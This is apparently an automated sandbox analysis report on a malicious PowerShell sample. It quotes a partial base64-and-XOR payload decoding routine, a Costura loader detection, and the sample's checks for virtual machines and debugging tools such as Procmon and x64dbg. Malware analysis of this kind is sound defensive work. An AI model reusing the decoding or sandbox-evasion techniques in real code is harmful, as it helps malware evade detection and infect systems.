Source: 2.2.powershell.exe.6ef0000.1.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 2.2.powershell.exe.6ef0000.1.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 2.2.powershell.exe.6ef0000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 2.2.powershell.exe.6ef0000.1.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String($z));$byteString = $enc.GetBytes($string);$xordData = $(for ($i = 0; $i -lt $byteString.length; ) {for ($j = 0; $j -lt $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$j];$i++;if

Yara detected Costura Assembly Loader

Source: Yara match	File source: 2.2.powershell.exe.6e60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2613418529.0000000006E60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7DB71C push esp; retf	0_2_00007FFD9B7DB828
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7D4F29 push ebp; ret	0_2_00007FFD9B7D4F58
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_00007FFD9B7D00AD pushad ; iretd	0_2_00007FFD9B7D00C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455F4CD pushfd ; iretd	2_2_0455F4E1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455E793 push es; iretd	2_2_0455E7A2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455E783 push es; iretd	2_2_0455E792
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455F145 push ss; iretd	2_2_0455F14A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455F11B push ss; iretd	2_2_0455F12A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455FCC3 push esp; iretd	2_2_0455FCD2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455FCED push edi; iretd	2_2_0455FD02
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455FCBD push ebx; iretd	2_2_0455FCC2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0455FD0D push edi; iretd	2_2_0455FD12
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D16D91 push es; retf	2_2_06D16D98
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D1BADA push FFFFFF8Bh; ret	2_2_06D1BADE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D10A3D push esp; retf	2_2_06D10A4D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D1BB14 push FFFFFF8Bh; ret	2_2_06D1BB18
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06D1BB2B push FFFFFF8Bh; iretd	2_2_06D1BB2F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F45F1F push es; retf	2_2_06F45F20
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F43DE5 push ebp; ret	2_2_06F43DE8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F4729B push es; ret	2_2_06F4729C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F43219 push ds; iretd	2_2_06F4321F
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F45BD1 push es; retf	2_2_06F45C38
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F4319E pushfd ; iretd	2_2_06F431A1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F47100 push edx; ret	2_2_06F4710B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6CF13 push es; retf	2_2_06F6CF14
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_06F6391C push eax; retf	2_2_06F6391D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08165A06 pushad ; iretd	2_2_08165A08
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_0816406B push FFFFFF8Bh; retf	2_2_0816406D
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08163CDD push FFFFFF8Bh; iretd	2_2_08163CDF
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081664DB push FFFFFF8Bh; iretd	2_2_081664DD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_081652D9 push FFFFFF8Bh; iretd	2_2_081652DB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: HOOKEXPLORER.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: powershell.exe, 00000000.00000002.1782702388.0000016DD09B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
